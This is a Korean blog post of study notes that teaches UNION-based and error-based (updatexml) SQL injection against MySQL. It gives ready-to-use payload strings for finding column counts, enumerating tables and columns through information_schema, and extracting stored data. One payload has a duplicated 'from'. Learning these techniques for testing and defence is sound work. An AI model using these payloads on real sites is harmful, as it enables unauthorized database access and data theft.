3 분 소요

환경

  • MYSQL 서버


Union SQLi

조건

  • 질의문 결과가 화면에 보여야 한다.

동작 유형

  • 게시판 ( 글이 화면에 나온다. )
  • 회원정보 ( 마이페이지 )
  • 주소검색
  • 검색 페이지

과정

  1. 서버에서 어떤 질의문을 사용하는지 추측하기.
    • 질의문 추측 = select xxxx from xxx where 컬럼명 like '%----%' ...
  2. SQL Injection 취약점 존재하는지 확인하기.
    • 질의문 = select xxxx from xxx where 컬럼명 like '%test%' and '1%'='1%' ...
    • 입력 = test%' and '1%'='1
  3. 컬럼수 찾기.
    • order by 를 이용하여 1씩 증가 시키면서 컬럼수를 찾아준다.
    • 질의문 = select xxxx from xxx where 컬럼명 like '%test%' order by 1 -- %' ...
    • 입력 = test%' order by 1 --
  4. data 출력 위치 파악하기.
    • 위에서 찾은 컬럼수를 이용하여 data 출력 위치 파악하기.
    • 질의문 = select xxxx from xxx where 컬럼명 like '%test%' union select '1','2','3','4' from dual -- %' ...
    • 입력 = test%' union select '1','2','3','4' from dual --
  5. database 이름 출력하기.
    • 위에서 파악한 출력위치를 이용하여 DB 이름을 알아보자.
    • select database() from dual 명령을 이용하면 현재 DB 명이 나온다.
    • 질의문 = select xxxx from xxx where 컬럼명 like '%test%' union select '1',database(),'3','4' from dual -- %' ...
    • 입력 = test%' union select '1',database(),'3','4' from dual --
  6. table 이름 출력하기.
    • 위에서 파악한 DB이름을 이용하여 존재하는 테이블명을 알아보자.
    • select table_name from information_schema.tables where table_schema='DB명' 명령을 이용하면 테이블명을 알 수 있다.
    • 질의문 = select xxxx from xxx where 컬럼명 like '%test%' union select '1',table_name,'3','4' from from information_schema.tables where table_schema='DB명' -- %' ...
    • 입력 = test%' union select '1',table_name,'3','4' from from information_schema.tables where table_schema='DB명' --
  7. column 이름 출력하기.
    • 위에서 파악한 table 이름을 이용하여 table의 컬럼명을 알아보자.
    • select column_name from information_schema.columns where table_name='테이블명' 명령을 이용하면 해당 table의 컬럼명을 알 수 있다.
    • 질의문 = `select xxxx from xxx where 컬럼명 like ‘%test%’ union select ‘1’,column_name,’3’,’4’ from information_schema.columns where table_name=’테이블명’ – %’ …
    • 입력 = test%' union select '1',column_name,'3','4' from information_schema.columns where table_name='테이블명' --
  8. 정보 빼오기.
    • 위에서 파악한 table명과 해당 table에 대한 column 명을 이용하여 정보를 빼오자!
    • select column명 from table명 명령을 이용하여 저장된 정보를 알 수 있다.
    • 질의문 = select xxxx from xxx where 컬럼명 like '%test%' union select '1',column명,'3','4' from table명 -- %' ...
    • 입력 = test%' union select '1',column명,'3','4' from table명 --



Error Based SQLi

  • 논리 에러를 의도적으로 일으켜 데이터를 추출하는 공격이다.

조건

  • Error 메세지가 화면에 보여야한다.

동작 유형

  • 로그인 페이지
  • 아이디 중복 체크

SQL 논리 에러를 발생시킬 수 있는 함수

  • updatexml
  • ExtractValue

과정

  1. 서버에서 어떤 질의문을 사용하는지 추측하기.
    • 질의문 추측 = select xxxx from xxx where 컬럼명='----' ...
  2. 오류 발생 확인하기. ( db 에러인지 확인하기 )
    • 입력 = ' asd
    • syntax error 발생(문법 에러) 가 발생하는 것을 확인이 가능한지 본다.
  3. Error Based SQL Injection Function 동작하는지 확인하기.
    • Syntax error (문법에러) : 문법 틀리면 안됨. 컴파일 할 때 잡아낸다.
    • 논리에러 : 실행이된다.
    • 즉 우리는 논리에러를 발생시켜야 한다.
    • updatexml 함수를 이용하자!
    • 질의문 = select xxxx from xxx where 컬럼명='1' and updatexml(null, concat(0x3a,'test'), null) and '1'='1' ...
    • 입력 = 1' and updatexml(null, concat(0x3a,'test'), null) and '1'='1
    • XPATH syntax error: ':test' 에러를 볼 수 있다.
    • select xxxx from xxx where 컬럼명='1' and updatexml(null, concat(0x3a,(SQL)), null) and '1'='1' ... test 대신 질의문을 넣어주면 된다.
  4. Database 이름 출력하기.
    • select database() from dual 로 DB 명 찾기
    • 질의문 = select xxxx from xxx where 컬럼명='1' and updatexml(null, concat(0x3a,(select database() from dual)), null) and '1'='1' ...
    • 입력 = 1' and updatexml(null, concat(0x3a,(select database() from dual)), null) and '1'='1
  5. table 이름 출력하기.
    • select table_name from information_schema.tables where table_schema='DB명' limit 0,1 로 table 명 찾기.
    • 오류는 하나의 데이터만 보여줄 수 있다. 따라서 출력을 1개로 제한하였다.
    • 질의문 = select xxxx from xxx where 컬럼명='1' and updatexml(null, concat(0x3a,(select table_name from information_schema.tables where table_schema='DB명' limit 0,1)), null) and '1'='1' ...
    • 입력 = 1' and updatexml(null, concat(0x3a,(select table_name from information_schema.tables where table_schema='DB명' limit 0,1)), null) and '1'='1
    • limit 를 조절하면서 원하는 테이블명을 찾는다.
  6. column 이름 출력하기.
    • select column_name from information_schema.columns where table_name='테이블명' limit 0,1 로 table에 해당하는 column명 찾기.
    • 질의문 = select xxxx from xxx where 컬럼명='1' and updatexml(null, concat(0x3a,(select column_name from information_schema.columns where table_name='테이블명' limit 0,1)), null) and '1'='1' ...
    • 입력 = 1' and updatexml(null, concat(0x3a,(select column_name from information_schema.columns where table_name='테이블명' limit 0,1)), null) and '1'='1
  7. 정보 빼오기
    • 위에서 파악한 table명과 해당 table에 대한 column 명을 이용하여 정보를 빼오자!
    • select column명 from table명 limit 0,1 명령을 이용하여 저장된 정보를 알 수 있다.
    • 질의문 = select xxxx from xxx where 컬럼명='1' and updatexml(null, concat(0x3a,(select column명 from table명 limit 0,1)), null) and '1'='1' ...
    • 입력 = 1' and updatexml(null, concat(0x3a,(select column명 from table명 limit 0,1)), null) and '1'='1

댓글남기기